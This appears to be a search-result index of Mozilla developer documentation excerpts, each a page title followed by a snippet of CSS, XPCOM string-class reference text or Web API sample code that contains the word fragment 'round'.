round: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property ...
overflow-clip-box
formal syntax padding-box | content-box examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; backg
round: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been propos...
MozBeforePaint
<!doctype html> <html> <body> <div id="d" style="width:100px; height:100px; backg
round:lime; position:relative;"></div> <script> var d = document.getelementbyid("d"); var start = window.mozanimationstarttime; function step(event) { var progress = event.timestamp - start; d.style.left = math.min(progress/10, 200) + "px"; if (progress < 2000) { window.mozrequestanimationframe(); } else { window.removeeventlistener("mozbeforepaint", step, false); } } window.addeventl...
Gecko SDK
to get a
round it, you'll need to first install macports as outlined in the mac os x build prerequisites and install libidl with it.
Gecko's "Almost Standards" Mode
erious gaps" for a detailed explanation of how such layouts are treated in "standards" mode.) in slightly more detail, what differs in almost-standards mode is roughly this: inline boxes that have no non-whitespace text as a child and have no border, padding, or margin: do not influence the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their backg
round) larger than that of their descendants, even if their font size is larger (if they have no descendants, they are zero-height positioned at their baseline) other than this one difference, "almost standards" and "standards" modes are exactly the same in terms of layout and other behaviors.
IPDL Best Practices
while this can be worked a
round with actordestroy, being explicit about deleting the protocol with send__delete__ is easier to maintain, with symmetric alloc/deallocpprotocol functions also being easier to reason about.
IPDL Tutorial
the parameters of the recv* methods (const nscstring& pluginpath in the example) are references to temporary objects, so copy them if you need to keep their data a
round.
IPC Protocol Definition Language (IPDL)
current docs ipdl tutorial quick start: creating a new protocol quick start: extending a protocol ipdl type serialization ipdl best practices ipdl glossary pbackg
round future planned docs ipdl language reference error and shutdown handling in ipdl protocols how ipdl uses processes, threads, and sockets ipdl shared memory ...
Introduction to Layout in Mozilla
ively walks content tree, resolves style and creates frames either created by tag (<select>) or by display type (<p>) frame manager maintains mapping from content to frame style resolution compute stylistic information based on the style rules that apply for the frame’s content node style data broken into different structures display, visibility, font, color, backg
round, … inherit vs.
NS_ConvertASCIItoUTF16
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_ConvertUTF16toUTF8
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_ConvertUTF8toUTF16
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
NS_LossyConvertUTF16toASCII
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsACString
the methods defined on nsacstring are implemented as inline wrappers a
round the xpcom string functions, prefixed with ns_cstring.
nsAString
the methods defined on nsastring are implemented as inline wrappers a
round the xpcom string functions, prefixed with ns_string.
nsAString (External)
class declaration this header provides wrapper classes a
round the frozen string api which are roughly equivalent to the internal string classes.
nsAdoptingCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsAdoptingString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsAutoString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsCAutoString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsDependentCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsDependentString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsEmbedCString
remarks the methods defined on nsembedcstring are implemented as inline wrappers a
round the xpcom string functions, prefixed with ns_cstring.
nsEmbedString
remarks the methods defined on nsembedstring are implemented as inline wrappers a
round the xpcom string functions, prefixed with ns_string.
nsFixedCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsFixedString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsPromiseFlatCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsPromiseFlatString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
RefPtr
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper a
round a count of the number of references refering to the class.
nsString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsXPIDLCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsXPIDLString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes sur
rounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
XPCOM glue classes
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper a
round a count of the number of references refering to the class.nsstringclass declarationnsstring externalclass declarationnsstringcontainer (external)class declarationnssupportsweakreferenceinherit from this c++ class to add canonical support for nsisupportsweakreference.nsxpidlcstringclass declarationnsxpidlstringclass declarationpromiseflatcstring (external)class declarationpromiseflatstring (extern...
imgIContainer
obsolete since gecko 2.0 currentframeisopaque boolean whether the current frame is opaque; that is, needs the backg
round painted behind it.
imgIEncoder
dispose=[none|backg
round|previous] -- default: "none" what to do with the image's canvas before rendering the next frame.
mozIColorAnalyzer
it avoids the backg
round color if it can be discerned and ignores sufficiently transparent colors.
nsIAccessibleEvent
event_foreg
round 0x0003 0x0017 0x0014 the foreg
round window has changed.
nsIAlertsService
textclickable optional if true, if the user clicks on it, the listener is notified; when hovered the notification backg
round becomes lighter and the cursor turns to a pointer.
AnalyserNode.getFloatFrequencyData() - Web APIs
0; canvas.style.left = 0; canvas.width = window.innerwidth; canvas.height = window.innerheight; document.body.appendchild(canvas); const canvasctx = canvas.getcontext('2d'); canvasctx.clearrect(0, 0, canvas.width, canvas.height); function draw() { //schedule next redraw requestanimationframe(draw); //get spectrum data analysernode.getfloatfrequencydata(dataarray); //draw black backg
round canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, canvas.width, canvas.height); //draw spectrum const barwidth = (canvas.width / bufferlength) * 2.5; let posx = 0; for (let i = 0; i < bufferlength; i++) { const barheight = (dataarray[i] + 140) * 2; canvasctx.fillstyle = 'rgb(' + math.floor(barheight + 100) + ', 50, 50)'; canvasctx.fillrect(posx, canvas.height...
Animation.currentTime - Web APIs
ge.currenttime = alicechange.effect.timing.duration / 2; a more generic means of seeking to the 50% mark of an animation would be: animation.currenttime = animation.effect.getcomputedtiming().delay + animation.effect.getcomputedtiming().activeduration / 2; reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.currenttime might get
rounded depending on browser settings.
Animation.startTime - Web APIs
waapicats.appendchild(newcat); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.starttime might get
rounded depending on browser settings.
AnimationTimeline.currentTime - Web APIs
reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animationtimeline.currenttime might get
rounded depending on browser settings.
AudioNode - Web APIs
while the actual processing is done internally by the browser and cannot be altered, you could write a wrapper a
round an audio node to provide custom properties and methods.
AudioParam.value - Web APIs
one solution is to use the math.f
round() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.f
round(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true.
BaseAudioContext.currentTime - Web APIs
console.log(audioctx.currenttime); reduced time precision to offer protection against timing attacks and fingerprinting, the precision of audioctx.currenttime might get
rounded depending on browser settings.
BaseAudioContext - Web APIs
ext-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the backg
round to process audio data.
BatteryManager.chargingTime - Web APIs
even if the time returned is precise to the second, browsers
round them to a higher interval (typically to the closest 15 minutes) for privacy reasons.
BudgetService.getCost() - Web APIs
the getcost() property of the budgetservice interface returns a promise that resolves to a double indicating the worst-case backg
round operation cost of the provided backg
round operation.
BudgetService - Web APIs
methods budgetservice.getcost() returns a promise that resolves to a double, indicating the worst-case backg
round operation cost of the provided backg
round operation.
CSSPositionValue - Web APIs
#image { width: 300px; height: 300px; border: 1px solid black; backg
round-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSSPseudoElement - Web APIs
examples basic example using element.pseudo using pseudo-elements, most modern browsers will automatically add quotation marks a
round text inside a <q> element.
CSSRule.cssText - Web APIs
syntax string = cssrule.csstext example <style> body { backg
round-color: darkblue; } </style> <script> var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].csstext); // body { backg
round-color: darkblue; } </script> specifications specification status comment css object model (cssom)the definition of 'cssrule: csstext' in that specification.
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px; backg
round-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
example the following javascript code removes the backg
round-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('backg
round-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
CSSStyleRule.selectorText - Web APIs
syntax string = cssrule.selectortext example // for cssrule: body { backg
round-color: darkblue; } var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].selectortext); // body notes the implementation may have stripped out insignificant whitespace while parsing the selector.
CSSStyleRule.style - Web APIs
syntax styleobj = cssrule.style example function stilo() { alert(document.stylesheets[0].cssrules[0].style.csstext); } // displays "backg
round-color: gray;" notes the declaration block is that part of the style rule that appears within the braces and that actually provides the style definitions (for the selector, the part that comes before the braces).
CSSStyleSheet.insertRule() - Web APIs
* @param {array} rules accepts an array of json-encoded declarations * @example addstylesheetrules([ ['h2', // also accepts a second argument as an array of arrays instead ['color', 'red'], ['backg
round-color', 'green', true] // 'true' for !important rules ], ['.myclass', ['backg
round-color', 'yellow'] ] ]); */ function addstylesheetrules (rules) { var styleel = document.createelement('style'); // append <style> element to <head> document.head.appendchild(styleel); // grab style element's sheet var stylesheet = styleel.sheet; for (var i = 0; i < rules.length; i++) { ...
Managing screen orientation - Web APIs
first let's define some common styles */ html, body { width : 100%; height: 100%; } body { border: 1px solid black; -moz-box-sizing: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box; backg
round: black; } li { display: inline-block; margin : 0; padding: 0.5em; backg
round: white; } once we have some common styles we can start defining a special case for the orientation /* for portrait, we want the tool bar on top */ @media screen and (orientation: portrait) { #toolbar { width: 100%; } } /* for landscape, we want the tool bar stick on the left */ @media screen and (o...
CSS Typed Object Model API - Web APIs
subclasses include: cssimagevalue objects an interface representing values for properties that take an image, for example backg
round-image, list-style-image, or border-image-source.
CacheStorage - Web APIs
those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get a
round this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
CanvasRenderingContext2D.createPattern() - Web APIs
javascript // create a pattern, offscreen const patterncanvas = document.createelement('canvas'); const patterncontext = patterncanvas.getcontext('2d'); // give the pattern a width and height of 50 patterncanvas.width = 50; patterncanvas.height = 50; // give the pattern a backg
round color and draw an arc patterncontext.fillstyle = '#fec'; patterncontext.fillrect(0, 0, patterncanvas.width, patterncanvas.height); patterncontext.arc(0, 0, 50, 0, .5 * math.pi); patterncontext.stroke(); // create our primary canvas and fill it with the pattern const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanvas, 'r...
A basic ray-caster - Web APIs
if you have, then the canvas is cleared, the g
round and sky are drawn, the camera position and/or orientation are updated, and the rays are cast out.
Compositing and clipping - Web APIs
function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.fillrect(0, 0, 150, 150); ctx.translate(75, 75); // create a circular clipping path ctx.beginpath(); ctx.arc(0, 0, 60, 0, math.pi * 2, true); ctx.clip(); // draw backg
round var lingrad = ctx.createlineargradient(0, -75, 0, 75); lingrad.addcolorstop(0, '#232256'); lingrad.addcolorstop(1, '#143778'); ctx.fillstyle = lingrad; ctx.fillrect(-75, -75, 150, 150); // draw stars for (var j = 1; j < 50; j++) { ctx.save(); ctx.fillstyle = '#fff'; ctx.translate(75 - math.floor(math.random() * 150), 75 - math.floor(math.random() * 15...
Finale - Web APIs
more examples and tutorials there are a variety of demos and further explanations about canvas on these sites: codepen.io front end developer playg
round & code editor in the browser.
Using channel messaging - Web APIs
for example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into your main profile, or add new backg
round music choices from the audio player onto the game?
Console API - Web APIs
find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused a
round logging various values to the browser's web console.
Content Index API - Web APIs
examples could be a news website prefetching the latest articles in the backg
round, or a content streaming app registering downloaded content.
CustomElementRegistry.define() - Web APIs
'position: relative;' + '}' + '.info {' + 'font-size: 0.8rem;' + 'width: 200px;' + 'display: inline-block;' + 'border: 1px solid black;' + 'padding: 10px;' + 'backg
round: white;' + 'border-radius: 10px;' + 'opacity: 0;' + 'transition: 0.6s all;' + 'position: absolute;' + 'bottom: 20px;' + 'left: 10px;' + 'z-index: 3;' + '}' + ...
DOMHighResTimeStamp - Web APIs
reduced time precision to offer protection against timing attacks and fingerprinting, the precision of time stamps might get
rounded depending on browser settings.
DataTransfer.setData() - Web APIs
ang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's backg
round color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and data.
DeviceOrientationEvent.beta - Web APIs
returns the rotation of the device a
round the x axis; that is, the number of degrees, ranged between -180 and 180, by which the device is tipped forward or backward.
DeviceOrientationEvent.gamma - Web APIs
returns the rotation of the device a
round the y axis; that is, the number of degrees, ranged between -90 and 90, by which the device is tilted left or right.
Document.getElementsByTagNameNS() - Web APIs
div2 text</p> <p>some div2 text</p> </div> </div> <p>some outer text</p> <p>some outer text</p> <button onclick="getallparaelems();"> show all p elements in document</button><br /> <button onclick="div1paraelems();"> show all p elements in div1 element</button><br /> <button onclick="div2paraelems();"> show all p elements in div2 element</button> </body> </html> potential worka
round for other browsers which do not support if the desired browser did not support xpath, another approach (such as traversing the dom through all its children, identifying all @xmlns instances, etc.) would be necessary to find all tags with the desired local name and namespace, but xpath is much faster.
Document: visibilitychange event - Web APIs
document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backg
roundmusic.play(); } else { backg
roundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
Document: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px; backg
round: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselect...
DocumentOrShadowRoot.activeElement - Web APIs
typically a user can press the tab key to move the focus a
round the page among focusable elements, and use the space bar to activate one (that is, to press a button or toggle a radio button).
DocumentOrShadowRoot.elementFromPoint() - Web APIs
javascript function changecolor(newcolor) { elem = document.elementfrompoint(2, 2); elem.style.color = newcolor; } the changecolor() method simply obtains the element located at the specified point, then sets that element's current foreg
round color property to the color specified by the newcolor parameter.
Element.accessKey - Web APIs
to work a
round this, browsers implement accesskey behavior if the keys are pressed with other "qualifying" keys (such as alt + accesskey).
Element.attachShadow() - Web APIs
ssible from javascript outside the root, for example using element.shadowroot: element.shadowroot; // returns a shadowroot obj closed: denies access to the node(s) of a closed shadow root from javascript outside it: element.shadowroot; // returns null delegatesfocus a boolean that, when set to true, specifies behavior that mitigates custom element issues a
round focusability.
Element: copy event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; backg
round-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications specification status clipboard api and events working draf...
Element: cut event - Web APIs
examples live example html <div class="source" contenteditable="true">try cutting text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; backg
round-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clip...
Element: dblclick event - Web APIs
javascript const card = document.queryselector('aside'); card.addeventlistener('dblclick', function (e) { card.classlist.toggle('large'); }); html <aside> <h3>my card</h3> <p>double click to resize this object.</p> </aside> css aside { backg
round: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; } .large { transform: scale(1.3); } result specifications specification status ui eventsthe definition of 'dblclick' in that specification.
Element: focusin event - Web APIs
ocusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.backg
round = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.backg
round = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focusout event - Web APIs
cusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.backg
round = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.backg
round = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element.getBoundingClientRect() - Web APIs
<div></div> div { width: 400px; height: 200px; padding: 20px; margin: 50px auto; backg
round: purple; } let elem = document.queryselector('div'); let rect = elem.getboundingclientrect(); for (var key in rect) { if(typeof rect[key] !== 'function') { let para = document.createelement('p'); para.textcontent = `${ key } : ${ rect[key] }`; document.body.appendchild(para); } } notice how the width/height are equal to the equal to its width/height + padding.
Element.getClientRects() - Web APIs
on> <thead> <tr><th>thead</th></tr> </thead> <tbody> <tr><td>tbody</td></tr> </tbody> </table> </div> <div> <strong>table's rect</strong> <table class="withclientrectsoverlay"> <caption>caption</caption> <thead> <tr><th>thead</th></tr> </thead> <tbody> <tr><td>tbody</td></tr> </tbody> </table> </div> css the css draws borders a
round the paragraph and the <span> inside each <div> block for the first example, a
round the <ol> and <li> for the second example, and a
round <table>, <th>, and <td> elements for the third example.
Element.innerHTML - Web APIs
<div class="box"> <div><strong>log:</strong></div> <div class="log"></div> </div> the <div> with the class "box" is just a container for layout purposes, presenting the contents with a box a
round it.
Element.insertAdjacentElement() - Web APIs
example beforebtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.backg
roundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('beforebegin',tempdiv); } setlistener(tempdiv); }); afterbtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.backg
roundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('afterend',tempdiv); } setlistener(tempdiv); }); have a l...
Element: overflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; backg
round: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; backg
round: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log(...
Element: paste event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; backg
round-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertn...
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center; backg
round: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginslidin...
Element.scrollHeight - Web APIs
if the element's content can fit without a need for vertical scrollbar, its scrollheight is equal to clientheight this property will
round the value to an integer.
Element.scrollLeft - Web APIs
example html <div id="container"> <div id="content">click the button to slide right!</div> </div> <button id="slide" type="button">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px; backg
round-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.scrollWidth - Web APIs
if the element's content can fit without a need for horizontal scrollbar, its scrollwidth is equal to clientwidth this property will
round the value to an integer.
Element.setCapture() - Web APIs
example in this example, the current mouse coordinates are drawn while you mouse a
round after clicking and holding down on an element.
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center; backg
round: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginslidin...
Element.shadowRoot - Web APIs
hadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; backg
round-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
Element: underflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; backg
round: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; backg
round: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log(...
Element: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px; backg
round: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using...
Element - Web APIs
this can be used to watch both for successful expected transitions, but also to watch for unexpected changes, such as when your app is running in the backg
round.
Comparison of Event Targets - Web APIs
uiv="x-ua-compatible" content="ie=edge"> <title>comparison of event targets</title> <style> table { border-collapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .standard { backg
round-color: #99ff99; } .non-standard { backg
round-color: #902d37; } </style> </head> <body> <table> <thead> <tr> <td class="standard">original target dispatching the event <small>event.target</small></td> <td class="standard">target who's event listener is being processed <small>event.currenttarget</small></td> ...
Event.currentTarget - Web APIs
sibility = 'hidden'; console.log(e.currenttarget); // when this function is used as an event handler: this === e.currenttarget } var ps = document.getelementsbytagname('p'); for(var i = 0; i < ps.length; i++){ // console: print the clicked <p> element ps[i].addeventlistener('click', hide, false); } // console: print <body> document.body.addeventlistener('click', hide, false); // click a
round and make paragraphs disappear note: the value of event.currenttarget is only available while the event is being handled.
Event.preventDefault() - Web APIs
